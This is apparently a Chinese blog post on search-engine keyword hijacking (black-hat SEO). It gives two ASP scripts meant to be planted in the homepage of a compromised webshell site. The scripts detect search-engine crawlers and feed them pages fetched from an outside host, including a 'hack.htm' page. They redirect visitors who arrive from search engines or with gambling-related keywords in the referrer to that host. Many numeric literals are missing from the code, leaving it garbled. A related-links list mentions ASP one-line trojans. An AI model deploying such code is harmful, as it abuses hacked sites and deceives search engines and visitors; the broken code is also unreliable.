摘要:关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断...

黑帽SEO代码一:

<%
function GetBot()
'查询蜘蛛
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句
if instr(,s_agent,"googlebot",) > then
GetBot="google"
end if
if instr(,s_agent,"msnbot",) > then
GetBot="MSN"
end if
if instr(,s_agent,"slurp",) > then
GetBot="Yahoo"
end if
if instr(,s_agent,"baiduspider",) > then
GetBot="baidu"
end if
if instr(,s_agent,"sohu-search",) > then
GetBot="Sohu"
end if
if instr(,s_agent,"lycos",) > then
GetBot="Lycos"
end if
if instr(,s_agent,"robozilla",) > then
GetBot="Robozilla"
end if
end function
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,"GB2312")'编码
End function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<= then Newstring=Len(wstr)
End Function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type =
objstream.Mode =
objstream.Open
objstream.Write body
objstream.Position =
objstream.Type =
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Dim wstr,str,url,start,over,dtime
if GetBot="baidu" then
'给百度蜘蛛定制的内容
url="http://www.yunsec.net"
'想要展示给蜘蛛的页面地址
wstr=getHTTPPage(url)
body=wstr
response.write ""&body&""
response.end
elseif GetBot="google" then
'给google 蜘蛛定制的内容
url="http://www.yunsec.net"
wstr=getHTTPPage(url)
body=wstr
response.write ""&body&""
response.end
end if
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")> then
'如果用户来自www.baidu.com
response.redirect("http://www.yunsec.net/")
'跳转指定地址
end if
%>

黑帽SEO二

<%
function hasKey()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
hasKey= false
if urlrefer="" then fromse= false
searray=array("%e7%9c%9f%e9%92%b1%e6%b8%b8%e6%88%8f","%e9%be%99%e8%99%8e%e6%96%97","%e7%9c%9f%e9%92%b1%e9%be%99%e8%99%8e%e6%96%97","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9%e7%bd%91","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9,%d5%e6%c7%ae%d3%ce%cf%b7","%d5%e6%c7%ae%c1%fa%bb%a2%b6%b7","%b2%c6%c9%f1%b2%a9%b2%ca%cd%f8","%b2%c6%c9%f1%b2%a9%b2%ca")
for i= to ubound(searray)
if (instr(urlrefer,searray(i))>) then hasKey=true
next
end function function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso")
for i= to ubound(searray)
if (instr(urlrefer,searray(i))>) then fromse=true
next
end function function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso")
isspider= false
for i= to ubound(searray)
if (instr(agent,searray(i))>) then isspider=true
next
end function function gethttp(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<> then
exit function
end if
gethttp=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<> then err.Clear
end function function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,))
If ThisCharCode < &H80 Then
strReturnstrReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+,))
strReturnstrReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
ii = i +
End If
Next
bytes2BSTR = strReturn
End function if(fromse() and hasKey()) then
Response.Redirect ("http://www.yunsec.net")
end if if(isspider()) then
dim myfso,fileurl,filecon,myfile,remotehtml,bodyurl
bodyurl="http://www.yunsec.net/hack.htm"
response.clear
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
response.flush
end if %>

搜索引擎关键词劫持之asp篇的更多相关文章

  1. 搜索引擎关键词劫持之php篇(源码与分析)

    摘要:其实原理很简单: 搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){ 输出 ...

  2. 搜索引擎关键词劫持之.net篇

    摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax. 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=tex ...

  3. python截取搜索引擎关键词

    这段代码是自己学了python的基本语法之后,参考一个网上视频写的代码,功能是截取搜索引擎360的关键词. 代码: #!/usr/bin/python #encoding:utf-8 import u ...

  4. PHP获取搜索引擎关键词

    有时候我们需要知道用户通过哪个搜索引擎,通过拿个关键词访问我们页面,当然js也可以实现,这里介绍下php的实现代码,包含(百度.谷歌.雅虎.搜狗.搜搜.必应.有道)几大搜索引擎的获取方法. //获取来 ...

  5. 一句话木马:ASP篇

    ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...

  6. 【渗透课程】特别篇-主流网站程序Oday大全以及拿shell思路

    版权和内容说明: 这篇文章不是本站编写,是从网络上摘抄的,但是经过了本站的改写优化,并将内容,格式规范化. 本篇说明:这篇文章结合了前辈们前几年一路挖掘出来的主流程序漏洞以及思路, 小编写在前面是想让 ...

  7. Python网络爬虫入门篇

    1.  预备知识 学习者需要预先掌握Python的数字类型.字符串类型.分支.循环.函数.列表类型.字典类型.文件和第三方库使用等概念和编程方法. 2. Python爬虫基本流程 a. 发送请求 使用 ...

  8. [转]ASP.NET数据库连接字符串总结

    这个不难,而且很重要,但总忘,找了篇比较全的,作为资料. 原文链接http://developer.51cto.com/art/201107/275406.htm 关于数据库链接字符串的相关知识,我们 ...

  9. Google搜索排名优化-面向搜索引擎的网站设计

    内容摘要:网站在搜索营销方面最主要的缺点: 行业知识:不知道搜索引擎对吸引的新用户的重要性,在搜索引擎排名服务中追求“傻瓜相关”,购买一些其实没有太多实际意义的行业关键词.其实能够用户输入的关键词越多 ...

随机推荐

  1. 访客至上的Web、移动可用性设计--指导原则

    文章出自:听云博客 关于可用性设计,之前写过一个“纸上谈兵”版本的,那篇帖子主要是根据A/B test的方式来进行的. 但是最近找了本Steve krug写的Don't make me think,我 ...

  2. 【代码笔记】iOS-禁止输入表情符号

    一,效果图. 二,工程图. 三,代码. RootViewController.h #import <UIKit/UIKit.h> @interface RootViewController ...

  3. Android touch mode和focusableInTouchMode分析

    首先我们来看看touch mode的定义.它是用户和手机进行交互时view层次结构的一个状态.它本身是很容易理解的, 代表了最近一次的交互是否是通过触摸屏发生的,因为在Android设备上还存在别的交 ...

  4. DB2常用sql命令

    DB2 清除数据库序列缓存 alter sequence wfr.wfr_bill_histories_s  nocache; 创建清空所有表数据脚本select 'alter table '||RT ...

  5. LB 简单比较 – F5、NetScaler、LVS、Nginx、Haproxy

    LB 简单比较 – F5.NetScaler.LVS.Nginx.Haproxy 负载均衡技术是构建大型网站必不可少的架构策略之一.它的目的是,把用户的请求分发到多台后端的设备上,用以均衡服务器的负载 ...

  6. [译] MYSQL索引最佳实践

    近日整理文档时发现多年前的这个文档还是蛮实用的,然后在网络搜索了一下并没有相关的译文,所以决定把它翻译过来,如有不当的地方请多包涵和指正.原文地址:https://www.percona.com/fi ...

  7. 面试题整理:SQL(一)

    1.横纵表转换 A表 Name Course Grade Alex English 80 Alex Chinese 70 Alex Japanese 85 Bob English 75 Bob Chi ...

  8. Visual Studio 开发平台的安装与单元测试

    一.安装VS2013 1.运行安装文件夹中的.exe文件,选择好安装路径与所需功能后开始安装 2.安装后第一次打开,需要一段时间 3.安装成功后,要打开VS2013,在工具栏中找到帮助选项卡,点击注册 ...

  9. SVN安装使用小结

    SVN在实际的项目开发中有很广泛的用途.一开始接触SVN(Subversion),思路并不清楚,现在总算理清了. 声明:本文并不是系统地对SVN做介绍,而是笔者的使用总结,个人认为的一些要点,可能对初 ...

  10. Sql Server之旅——第二站 理解万恶的表扫描

    很久以前我们在写sql的时候,最怕的一件事情就是sql莫名奇妙的超级慢,慢的是撸一管子回来,那个小球还在一直转...这个着急也只有当事人才 明白,后来听说有个什么“评估执行计划“,后来的后来才明白应该 ...